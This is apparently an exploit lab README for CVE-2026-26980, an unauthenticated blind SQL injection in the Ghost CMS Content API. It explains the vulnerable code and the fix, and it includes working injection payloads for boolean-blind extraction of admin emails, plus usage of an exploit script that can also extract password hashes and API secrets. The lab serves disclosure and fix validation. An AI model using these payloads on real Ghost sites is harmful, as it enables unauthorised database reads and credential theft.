## https://sploitus.com/exploit?id=D96B5C35-111D-54D3-90D2-4C8CC4B42AA5
# CVE-2026-26980 โ Ghost CMS Content API SQL Injection Lab
Unauthenticated blind SQL injection in Ghost CMS via the Content API's slug filter ordering mechanism, allowing arbitrary database reads from any Ghost instance without credentials.
| | |
|---|---|
| **CVE** | [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) |
| **Advisory** | [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) |
| **CVSS** | 9.4 (Critical) |
| **CWE** | CWE-89 (SQL Injection) |
| **Affected** | Ghost 3.24.0 -- 6.19.0 |
| **Fixed** | Ghost 6.19.1 |
| **Auth required** | None (Content API key is public by design) |
| **Credit** | Nicholas Carlini using Claude, Anthropic |
> **Disclaimer** -- This lab is for authorised security testing, education, and defensive research only. Do not use against systems you do not own or have explicit permission to test.
## Overview
Ghost's Content API supports filtering tags and posts by slug using array notation: `filter=slug:[tag-a,tag-b]`. Internally, a helper function builds an `ORDER BY CASE` statement to preserve the requested slug order. Before v6.19.1, user-supplied slug values were interpolated directly into this SQL without parameterisation:
```javascript
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
```
The Content API key is embedded in every Ghost site's HTML (`data-key="..."`), making this a fully unauthenticated attack surface.
## Vulnerability Mechanism
### The NQL Bypass
Ghost's NQL query language validates filter input and rejects raw single quotes or spaces. However, NQL accepts single-quote-wrapped values inside array notation (`slug:['value']`), passing the quotes through as part of the literal. The `slugFilterOrder` regex extracts these values and interpolates them -- quotes included -- into the SQL:
```
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passes quotes through as literal chars
```
### Generated SQL
After interpolation the ORDER BY becomes:
```sql
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
```
In MySQL's default SQL mode, `||` is `OR` and `''` is falsy. This gives us a clean boolean oracle:
| Condition | CASE result | Effect |
|---|---|---|
| TRUE | `'' OR 0 OR ''` = 0 | Normal response (HTTP 200) |
| FALSE | `'' OR EXP(710) OR ''` | DOUBLE overflow error (HTTP 500) |
### Data Extraction
With the oracle established, standard binary-search blind extraction applies:
```
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
```
The `SUBSTR(... FROM pos FOR len)` syntax avoids commas (which `slugFilterOrder` splits on).
## The Fix (v6.19.1)
The fix replaces string interpolation with parameterised bindings:
```javascript
// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
```
The `crud.js` plugin was updated to thread bindings through `orderByRaw`, and `@tryghost/bookshelf-plugins` was bumped to 0.6.29 which adds binding support.
## Lab Setup
### Prerequisites
- Docker & Docker Compose
- Python 3.8+ with `requests`
### Quick Start
```bash
# Clone and enter the lab
git clone && cd ghost-cve-2026-26980
# Install Python dependency
pip install -r requirements.txt
# Start the vulnerable Ghost instance (6.18.0 + MySQL 8)
docker compose up -d
# Wait ~45 seconds for Ghost to initialise, then run the exploit
python3 exploit.py --url http://localhost:2368
```
### Validate the Fix
```bash
# Also start the patched Ghost 6.19.1 on port 2369
docker compose --profile fixed up -d
# Wait ~45 seconds, then confirm the fix blocks the injection
python3 exploit.py --url http://localhost:2369 --validate-fix
```
### One-Command Validation
```bash
bash validate.sh
```
### Teardown
```bash
docker compose --profile fixed down -v
```
## Exploit Usage
```
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (default: http://localhost:2368)
--validate-fix Confirm the target is NOT vulnerable
--extract-password Also extract admin bcrypt hash
--extract-api-key Also extract admin API secret
--content-key KEY Skip setup, use this Content API key directly
-v, --verbose Show per-query oracle results
```
### Example Output
```
====================================================
CVE-2026-26980 โ Ghost CMS Content API SQL Injection
====================================================
[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: admin@ghost-poc.local)
[+] Setup complete โ establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news
[*] Phase 1 โ boolean blind verification
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolean oracle confirmed โ VULNERABLE
[*] Phase 2a โ extracting admin email
Measuring length of admin email... 21 chars
Extracting: admin@ghost-poc.local
[+] Email: admin@ghost-poc.local
============================================================
EXPLOITATION SUMMARY
============================================================
Target: http://localhost:2368
CVE: CVE-2026-26980
Content key: ad63c06a71457583ea58f050c1
Admin email: admin@ghost-poc.local
============================================================
```
## Also Fixed in v6.19.1: CVE-2026-29053 (RCE via Themes)
A second vulnerability was patched in the same release. Ghost's `{{#get}}` Handlebars helper used the `jsonpath` package (which depends on `static-eval`) to resolve path expressions. Malicious themes could craft expressions that reached `Function()` via prototype traversal, achieving server-side code execution.
| | |
|---|---|
| **CVE** | CVE-2026-29053 |
| **Affected** | Ghost 0.7.2 -- 6.19.0 |
| **Auth** | Admin (theme upload) |
| **Fix** | Replaced `jsonpath` with a restricted `querySimplePath()` function that only supports dot-notation, `[N]`, and `[*]` |
This lab focuses on CVE-2026-26980 as it is unauthenticated and more impactful for external attackers.
## Files
```
.
โโโ README.md # This file
โโโ docker-compose.yml # Ghost 6.18.0 (vuln) + 6.19.1 (fixed) with MySQL 8
โโโ exploit.py # Full PoC: setup, verify, extract
โโโ validate.sh # End-to-end validation wrapper
โโโ requirements.txt # Python dependencies
```
## References
- [Ghost Security Advisory GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- [NVD Entry CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- [Fix Commit: SQL injection in Content API slug filter ordering](https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91)
- [Fix Commit: Replaced jsonpath with custom path resolver](https://github.com/TryGhost/Ghost/commit/cf31ddfbecc600448578765e1d4f4ae8f1442ade)
- [CVE-2026-29053 Writeup (Hidden Investigations)](https://hiddeninvestigations.net/blog/remote-code-execution-in-ghost-cms-cve-2026-29053-when-a-theme-becomes-a-server-side-execution-primitive)
## License
This lab is provided for educational and authorised security testing purposes under the MIT License.